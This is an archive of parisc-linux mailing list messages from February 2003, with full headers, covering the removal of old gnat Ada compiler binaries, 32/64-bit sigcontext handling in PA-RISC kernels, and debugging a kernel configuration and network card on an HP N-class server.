X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Harri Haataja <harri.haataja@kolumbus.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:26:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39AAD4830
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 08:26:32 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18knA7-0007eV-00; Mon, 17 Feb 2003 15:26:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030217172157.A83956@azrael.blades.cxm>; from harri.haataja@kolumbus.fi on Mon, Feb 17, 2003 at 05:21:58PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17727

On Mon, Feb 17, 2003 at 05:21:58PM +0200, Harri Haataja wrote:
> If there's ada stuff and gnat in particular there, I hope removing that
> won't take out the last ada system available. I believe it's quite hard
> to get back.

No danger of that -- it's built as part of the debian gcc-3.2 build,
so there are substantially more recent compilers available.  gnat is
written in Ada, so it is known to work at least well enough to compile
itself.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@kolumbus.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removal of gnat
Date: Mon, 17 Feb 2003 17:31:51 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20030217173151.A88439@azrael.blades.cxm>
References: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk> <20030217172157.A83956@azrael.blades.cxm> <20030217152631.E28902@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622221 21876 80.91.229.3 (22 Nov 2014 02:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:31:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from azrael.blades.cxm (ua8d10hel.dial.kolumbus.fi [62.248.137.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2C584829
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 08:31:52 -0700 (MST)
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id RAA85635
	for parisc-linux@parisc-linux.org; Mon, 17 Feb 2003 17:31:51 +0200 (EET)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@kolumbus.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030217152631.E28902@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Feb 17, 2003 at 03:26:31PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17728

On Mon, Feb 17, 2003 at 03:26:31PM +0000, Matthew Wilcox wrote:
> On Mon, Feb 17, 2003 at 05:21:58PM +0200, Harri Haataja wrote:
> > If there's ada stuff and gnat in particular there, I hope removing
> > that won't take out the last ada system available. I believe it's
> > quite hard to get back.
> No danger of that -- it's built as part of the debian gcc-3.2 build,
> so there are substantially more recent compilers available.
So it'll be there in debian.

> gnat is written in Ada, so it is known to work at least well enough to
> compile itself.
.. if you have an Ada compiler :)

-- 
along with a metric assload of rebar -- Carl Jacobs
What's that in Imperial arseloads? -- Alistair J. R. Young


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removal of gnat
Date: Mon, 17 Feb 2003 15:42:26 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20030217154226.F28902@parcelfarce.linux.theplanet.co.uk>
References: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk> <20030217172157.A83956@azrael.blades.cxm> <20030217152631.E28902@parcelfarce.linux.theplanet.co.uk> <20030217173151.A88439@azrael.blades.cxm>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622221 21877 80.91.229.3 (22 Nov 2014 02:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Harri Haataja <harri.haataja@kolumbus.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:42:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B455D482B
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 08:42:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18knPX-000815-00; Mon, 17 Feb 2003 15:42:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030217173151.A88439@azrael.blades.cxm>; from harri.haataja@kolumbus.fi on Mon, Feb 17, 2003 at 05:31:51PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17729

On Mon, Feb 17, 2003 at 05:31:51PM +0200, Harri Haataja wrote:
> On Mon, Feb 17, 2003 at 03:26:31PM +0000, Matthew Wilcox wrote:
> > On Mon, Feb 17, 2003 at 05:21:58PM +0200, Harri Haataja wrote:
> > > If there's ada stuff and gnat in particular there, I hope removing
> > > that won't take out the last ada system available. I believe it's
> > > quite hard to get back.
> > No danger of that -- it's built as part of the debian gcc-3.2 build,
> > so there are substantially more recent compilers available.
> So it'll be there in debian.

Yup.  And it'll be there for anyone to use if they want to bootstrap their
own compiler.  You have to start bootstrapping from _somewhere_; you
seem to be suggesting that it's morally repugnant to start from debian's
gcc+gnat rather than some random gcc+gnat found on a project website..
I'm not sure I agree.

> > gnat is written in Ada, so it is known to work at least well enough to
> > compile itself.
> .. if you have an Ada compiler :)

Sure, but who doesn't?  ;-)  I even posted instructions in the form of
a shell script to debian-gcc last year on how to cross-bootstrap from
another architecture.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@kolumbus.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removal of gnat
Date: Mon, 17 Feb 2003 17:47:42 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20030217174742.A87954@azrael.blades.cxm>
References: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk> <20030217172157.A83956@azrael.blades.cxm> <20030217152631.E28902@parcelfarce.linux.theplanet.co.uk> <20030217173151.A88439@azrael.blades.cxm> <20030217154226.F28902@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622221 21880 80.91.229.3 (22 Nov 2014 02:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:47:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from azrael.blades.cxm (ua8d10hel.dial.kolumbus.fi [62.248.137.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A2694829
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 08:47:43 -0700 (MST)
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id RAA88618
	for parisc-linux@parisc-linux.org; Mon, 17 Feb 2003 17:47:42 +0200 (EET)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@kolumbus.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030217154226.F28902@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Feb 17, 2003 at 03:42:26PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17730

On Mon, Feb 17, 2003 at 03:42:26PM +0000, Matthew Wilcox wrote:
> On Mon, Feb 17, 2003 at 05:31:51PM +0200, Harri Haataja wrote:
> > On Mon, Feb 17, 2003 at 03:26:31PM +0000, Matthew Wilcox wrote:
> > > On Mon, Feb 17, 2003 at 05:21:58PM +0200, Harri Haataja wrote:
> > > > If there's ada stuff and gnat in particular there, I hope
> > > > removing that won't take out the last ada system available. I
> > > > believe it's quite hard to get back.
> > > No danger of that -- it's built as part of the debian gcc-3.2
> > > build, so there are substantially more recent compilers available.
> > So it'll be there in debian.
> Yup.  And it'll be there for anyone to use if they want to bootstrap
> their own compiler.  You have to start bootstrapping from _somewhere_;
> you seem to be suggesting that it's morally repugnant to start from
> debian's gcc+gnat rather than some random gcc+gnat found on a project
> website..  I'm not sure I agree.

I hadn't looked. So this is just an old version. I have nothing against
removing old binaries unless someone wants a piece of history or it has
some other signifigance. Great.

> > > gnat is written in Ada, so it is known to work at least well
> > > enough to compile itself.
> > .. if you have an Ada compiler :)
> 
> Sure, but who doesn't?  ;-)  I even posted instructions in the form of
> a shell script to debian-gcc last year on how to cross-bootstrap from
> another architecture.

I don't remember where I would have wanted it some ages ago. Maybe
netbsd/sparc or something :) They hadn't bootstrapped it there yet.

Sorry about the mixup, somehow I didn't even remember there was a debian
already and that it's a separate project with their piles of software :)

-- 
Why is TV called a medium?
Because it's neither rare nor well done.
	-- .sig of Marco Rinck


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 jejb
Date: Mon, 17 Feb 2003 10:57:53 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20030217155753.GD3061@systemhalted>
References: <20030216181021.6A8514829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622221 21883 80.91.229.3 (22 Nov 2014 02:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:21 +0000 (UTC)
Cc: James Bottomley <jejb@dsl2.external.hp.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:57:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74FEE482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Feb 2003 08:57:49 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18kneT-0003BX-00; Mon, 17 Feb 2003 10:57:53 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	James Bottomley <jejb@dsl2.external.hp.com>
Content-Disposition: inline
In-Reply-To: <20030216181021.6A8514829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17731

> CVSROOT:	/var/cvs
> Module name:	linux-2.5
> Changes by:	jejb	03/02/16 11:10:21
> 
> Modified files:
> 	arch/parisc/kernel: signal.c sys32.h 
> 	include/asm-parisc: signal.h 
> 
> Log message:
> More signal change fixes

Thanks for all the great work James!

Just to comment on this, we have incorrect sigcontext's from 64-bit kernels.
If you look at the usage of "HACK" you'll see that the 32-bit userspace 
gets some rather unusable 64-bit values in the sigcontext. I'm not sure how 
other arches fix this? Cut off the top 32 bits?

This item is on my personal todo list, but I haven't talked to anyone who has 
suggested a solution. I'm just a lowly GNU/Libc hacker, but if you suggest 
something I _will_ write it. 

c.



From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 jejb
Date: 17 Feb 2003 11:30:33 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1045499434.1749.27.camel@mulgrave>
References: <20030216181021.6A8514829@dsl2.external.hp.com> 
	<20030217155753.GD3061@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622222 21887 80.91.229.3 (22 Nov 2014 02:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 09:30:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15C584829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Feb 2003 09:30:49 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id IAA32246
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Feb 2003 08:30:38 -0800
Original-Received: from mulgrave-w.il.steeleye.com (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id IAA32064;
	Mon, 17 Feb 2003 08:30:34 -0800
In-Reply-To: <20030217155753.GD3061@systemhalted>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17732

On Mon, 2003-02-17 at 10:57, Carlos O'Donell wrote:
> > CVSROOT:	/var/cvs
> > Module name:	linux-2.5
> > Changes by:	jejb	03/02/16 11:10:21
> > 
> > Modified files:
> > 	arch/parisc/kernel: signal.c sys32.h 
> > 	include/asm-parisc: signal.h 
> > 
> > Log message:
> > More signal change fixes
> 
> Thanks for all the great work James!

You're welcome, but these were really just compile fixes.

> Just to comment on this, we have incorrect sigcontext's from 64-bit kernels.
> If you look at the usage of "HACK" you'll see that the 32-bit userspace 
> gets some rather unusable 64-bit values in the sigcontext. I'm not sure how 
> other arches fix this? Cut off the top 32 bits?
> 
> This item is on my personal todo list, but I haven't talked to anyone who has 
> suggested a solution. I'm just a lowly GNU/Libc hacker, but if you suggest 
> something I _will_ write it. 

In general, we should probably be relying more on the generic 32/64
compatibility layer recently introduced.  I suspect the best role model
for all of this is sparc64, since that's habitually run as a 64 bit
kernel with (mostly) 32 bit user space.

The HACK thing should continue to work OK as long as PA-RISC has no 64
bit user binary support, though.

James




From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] .config fo a N class?
Date: Mon, 17 Feb 2003 18:51:01 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <3E4ABE5000002044@ocpmta2.freegates.net>
References: <3E48B5950000297E@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622222 21892 80.91.229.3 (22 Nov 2014 02:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 10:51:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 586154829
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 10:51:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18kpQ3-0002XC-00
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 18:51:07 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 17 Feb 2003 18:51:01 +0100
In-Reply-To: <3E48B5950000297E@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17733

>-- Original Message --
>From: "Joel Soete" <jsoe0708@tiscali.be>
>To: parisc-linux@parisc-linux.org
>Subject: [parisc-linux] .config fo a N class?
>Date: Mon, 17 Feb 2003 12:42:54 +0100
>
>
>Hi all,
>
>I have the oportunity to test temporary a N class (N4000-55) dual processor.
>
>I grab the config file of the test-drive L model; apply it against current
>k-2.4.20-pa26 (just change 64 to 32 bits).
                            ^^^^^^^^^^^^^ My bad: I would have to remember
that hpux-11 have to be 64bits on L and N servers :?

> I install this kernel on a ext
>scsi disk and try to boot; unforunately it doesn't goes further than palo
>message:
>...
>a common symptom -- search the FAQ and ml ..."
>
>I try get a pim (from gsp TC); unfortunately empty (I mean all null values).
>
>The only report (on esiee) I found regarding this kind of server was running
>a 2.4.9 64 bits kernel.
>
>Can somebody help me to find the corresponding config file?
>

Well, for now I just boot with a dpkg kernel-image-2.4.19-64 (up) and still
have to see what is wrong with eth0:
eth0 Digital DS21143 Tulip rev 65 at 0x80 ... irq 128

Is there known problem with this type of NIC?

Next step would be to install a gcc-64 to recompile the kernel 2.4.20-pa27
and have a new look on this eth0.

Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 jejb
Date: Mon, 17 Feb 2003 16:07:20 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20030217210720.GB14711@systemhalted>
References: <20030216181021.6A8514829@dsl2.external.hp.com> <20030217155753.GD3061@systemhalted> <1045499434.1749.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622222 21895 80.91.229.3 (22 Nov 2014 02:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 14:07:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A01D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Feb 2003 14:07:17 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18ksTw-0003vB-00; Mon, 17 Feb 2003 16:07:20 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1045499434.1749.27.camel@mulgrave>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (93% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17734

> > This item is on my personal todo list, but I haven't talked to anyone who has 
> > suggested a solution. I'm just a lowly GNU/Libc hacker, but if you suggest 
> > something I _will_ write it. 
> 
> In general, we should probably be relying more on the generic 32/64
> compatibility layer recently introduced.  I suspect the best role model
> for all of this is sparc64, since that's habitually run as a 64 bit
> kernel with (mostly) 32 bit user space.

The sparc64 code is quite frightening, but I will look to it for a role
model.
 
> The HACK thing should continue to work OK as long as PA-RISC has no 64
> bit user binary support, though.

Yeah, it's OK until I attempt to write make/get/set/swap/context support
in libc :)

c.



From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .config fo a N class?
Date: Mon, 17 Feb 2003 19:52:30 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20030218025230.GA13514@dsl2.external.hp.com>
References: <3E48B5950000297E@ocpmta3.freegates.net> <3E4ABE5000002044@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622223 21899 80.91.229.3 (22 Nov 2014 02:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
